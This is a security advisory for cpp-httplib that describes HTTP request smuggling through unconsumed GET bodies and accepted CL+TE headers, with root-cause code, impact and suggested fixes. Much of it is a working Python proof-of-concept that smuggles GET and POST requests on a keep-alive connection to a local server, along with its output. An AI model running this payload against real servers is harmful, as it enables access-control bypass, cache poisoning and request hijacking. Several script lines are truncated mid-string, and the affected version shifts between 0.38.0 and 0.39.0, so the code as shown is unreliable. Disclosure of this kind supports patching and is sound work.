HTTP Request Smuggling via Unconsumed GET Request Body

Moderate **yhirose** published **GHSA-jv63-rm9j-6jwc** 5 days ago

Package

cpp-httplib

Affected versions	Patched versions
<=0.38.0	0.40.0

Description

Summary

cpp-httplib v0.38.0 is vulnerable to HTTP Request Smuggling. The server's static file handler serves GET responses without consuming the request body. On HTTP/1.1 keep-alive connections, the unread body bytes remain on the TCP stream and are interpreted as the start of a new HTTP request. An attacker can embed an arbitrary HTTP request inside the body of a GET request, which the server processes as a separate request.

Additionally, the server accepts requests containing both `Content-Length` and `Transfer-Encoding` headers without rejecting them, violating RFC 9112 §6.3 and enabling CL+TE smuggling variants when deployed behind a reverse proxy.

Affected Component

- **File:** `httplib.h`
- **Version:** 0.38.0
- **Functions:**
  - `Server::routing()` (line 11580) - file handler at line 11587-11589 returns without consuming request body
  - `process_server_socket_core()` (line 5623) - keep-alive loop at line 5629 reuses connection with unread data
  - `read_content()` (line 7249) - accepts both CL and TE without rejecting

Root Cause

1. Unconsumed Request Body

When a GET request matches a static file mount point, the `routing()` function (line 11580) checks the file handler first:

```
// Line 11587-11589
if ((req.method == "GET" || req.method == "HEAD") &&
    handle_file_request(req, res)) {
  return true;  // Returns WITHOUT reading the body
}
```

The `handle_file_request()` sets up the file response and returns immediately. The `expect_content()` check at line 11592 (which would read the body) is never reached because the file handler already returned `true`.

After serving the response, `process_request()` returns to the keep-alive loop in `process_server_socket_core()` (line 5629):

```
while (count > 0 && keep_alive(svr_sock, sock, keep_alive_timeout_sec)) {
    auto close_connection = count == 1;
    auto connection_closed = false;
    ret = callback(close_connection, connection_closed);  // calls process_request again
    ...
}
```

The `keep_alive()` function calls `select_read()` to check for data on the socket. Since the unread body bytes are still in the TCP buffer, `select_read()` returns positive. The next `process_request()` call reads these body bytes via `stream_line_reader::getline()` as the new request line.

2. CL+TE Acceptance

At line 7249-7286, when both `Transfer-Encoding: chunked` and `Content-Length` are present, the server uses chunked encoding and silently ignores `Content-Length`:

```
if (is_chunked_transfer_encoding(x.headers)) {
    // Uses chunked - ignores Content-Length
} else if (!has_header(x.headers, "Content-Length")) {
    // No Content-Length
} else {
    // Uses Content-Length
}
```

Per RFC 9112 §6.3, a server that receives both headers MUST reject the request with 400 or strip Content-Length. This library does neither, making it exploitable in proxy-backend deployments.

Impact

- **Request Smuggling**: Attacker can smuggle arbitrary HTTP requests on keep-alive connections
- **Access Control Bypass**: Smuggled requests bypass any proxy-level authentication or authorization
- **Cache Poisoning**: In proxy-cache architectures, smuggled responses can be cached for the wrong URL
- **Request Hijacking**: Behind a reverse proxy, a smuggled request can be paired with another user's request

Reproduction Steps

Prerequisites

- cpp-httplib v0.39.0 compiled test server
- Python 3

Step 1: Compile and start the test server

```
cd /path/to/cpp-httplib-0.39.0
g++ -o test_server -O2 -std=c++11 -I. -Wall -Wextra -pthread example/simplesvr.cc
mkdir -p /tmp/test_root && echo '<h1>Test</h1>' > /tmp/test_root/index.html
dd if=/dev/zero bs=1 count=10001 | tr '\0' 'A' > /tmp/test_root/large.txt
./test_server 8787 /tmp/test_root
```

Step 2: Verify server is working

```
curl http://localhost:8787/index.html
# Should return: <h1>Test</h1>
```

Step 3: Run the exploit

```
#!/usr/bin/env python3
"""
HTTP Request Smuggling PoC for cpp-httplib v0.39.0

Exploits unconsumed GET request body on keep-alive connections.
The server serves static files without reading the request body,
leaving the body bytes on the TCP stream to be interpreted as the
next HTTP request.
"""
import socket
import time
```

```python
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 8787

def recv_response(s, timeout=3):
    """Receive exactly one HTTP response"""
    s.settimeout(timeout)
    data = b""
    headers_end = -1
    content_length = 0
    while True:
        try:
            chunk = s.recv(4096)
        except socket.timeout:
            return data
        if not chunk:
            return data
        data += chunk
        if headers_end < 0 and b"\r\n\r\n" in data:
            headers_end = data.index(b"\r\n\r\n") + 4
            for line in data[:headers_end].decode(errors='replace').split("\r\n"):
                if line.lower().startswith("content-length:"):
                    content_length = int(line.split(":")[1].strip())
        if headers_end >= 0 and len(data) - headers_end >= content_length:
            return data

# The smuggled request - hidden inside the GET body
smuggled_request = (
    b"GET /large.txt HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Connection: close\r\n"
    b"\r\n"
)

# Outer GET request with Content-Length covering the smuggled request
outer_request = (
    b"GET /index.html HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: " + str(len(smuggled_request)).encode() + b"\r\n"
    b"\r\n"
)

print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((TARGET_HOST, TARGET_PORT))

# Step 1: Send the outer GET request (headers only, no body)
print(f"[*] Sending outer GET /index.html with Content-Length: {len(smuggled_request)}")
s.sendall(outer_request)

# Step 2: Receive the response to the outer request
# Server serves index.html WITHOUT reading the body
resp1 = recv_response(s)
status1 = resp1[9:12].decode() if len(resp1) > 12 else "?"
print(f"[+] Response 1: HTTP/1.1 {status1} ({len(resp1)} bytes)")
```

```
if b"Keep-Alive" not in resp1:
    print("[!] Connection not kept alive - test cannot proceed")
    s.close()
    exit(1)

# Step 3: Send the body (which IS the smuggled request)
# Server's keep-alive loop will read this as the next request
print(f"[*] Sending body (smuggled GET /large.txt request, {len(smuggled_request)} bytes
s.sendall(smuggled_request)
time.sleep(0.5)

# Step 4: Receive the response to the smuggled request
resp2 = recv_response(s)
if resp2:
    status2 = resp2[9:12].decode() if len(resp2) > 12 else "?"
    cl_header = [l for l in resp2.split(b"\r\n") if b"Content-Length:" in l]
    body_size = cl_header[0].split(b":")[1].strip().decode() if cl_header else "?"
    print(f"[+] Response 2: HTTP/1.1 {status2} (body={body_size} bytes)")

    if b"200" in resp2[:30]:
        print()
        print("[!] REQUEST SMUGGLING CONFIRMED!")
        print("[!] The smuggled GET /large.txt request was processed as a separate reque
        print("[!] The server responded with the large.txt file content.")
        print()
        print("[*] In a proxy-backend deployment:")
        print("    - The proxy sees ONE request (GET /index.html with body)")
        print("    - The backend processes TWO requests (GET /index.html + GET /large.tx
        print("    - This desync enables cache poisoning and access control bypass")
else:
    print("[?] No second response received")

s.close()

# Verify: test smuggling a POST to a different endpoint
print()
print("[*] Bonus test: Smuggle POST to /multipart endpoint")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((TARGET_HOST, TARGET_PORT))

smuggled_post = b"POST /multipart HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\nCo
req = (
    b"GET /index.html HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: " + str(len(smuggled_post)).encode() + b"\r\n"
    b"\r\n"
)

s.sendall(req)
r1 = recv_response(s)
print(f"[+] Response 1: {r1[9:12].decode()}")

s.sendall(smuggled_post)
time.sleep(0.5)
r2 = recv_response(s)
```

```
if r2:
    print(f"[+] Response 2: {r2[9:12].decode()} - Smuggled POST was processed!")
s.close()
```

Step 4: Observe results

```
[*] Connecting to 127.0.0.1:8787
[*] Sending outer GET /index.html with Content-Length: 63
[+] Response 1: HTTP/1.1 200 (178 bytes)
[*] Sending body (smuggled GET /large.txt request, 63 bytes)
[+] Response 2: HTTP/1.1 200 (body=10001 bytes)

[!] REQUEST SMUGGLING CONFIRMED!
[!] The smuggled GET /large.txt request was processed as a separate request.
[!] The server responded with the large.txt file content.
```

Test Results (Confirmed)

Test	Method	Result
GET body smuggling (delayed send)	GET /index.html with body = GET /large.txt	**CONFIRMED** - 200 OK, large.txt served
POST endpoint smuggling	GET /index.html with body = POST /multipart	**CONFIRMED** - 200 OK, POST processed
CL+TE acceptance	GET with both CL and TE headers	Server accepts without rejection (RFC violation)
Server recovery	Normal request after smuggling	Server continues to function normally

Suggested Fixes

1. **Consume or drain request body before keep-alive reuse**: After serving a response, if the request had a `Content-Length` or `Transfer-Encoding` header, the server must read and discard the remaining body bytes before processing the next request on the same connection. Alternatively, close the connection if body was not consumed.

2. **Reject requests with both CL and TE**: Per RFC 9112 §6.3, reject requests that contain both `Content-Length` and `Transfer-Encoding` headers with a 400 Bad Request response.

3. **Add body draining in the keep-alive loop**: Between iterations of `process_server_socket_core()`, drain any unread data from the stream if the previous request indicated a body length that wasn't fully consumed.

Severity

Moderate 4.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-34441

Weaknesses

▶ CWE-444

Credits

 **thesanjok** Reporter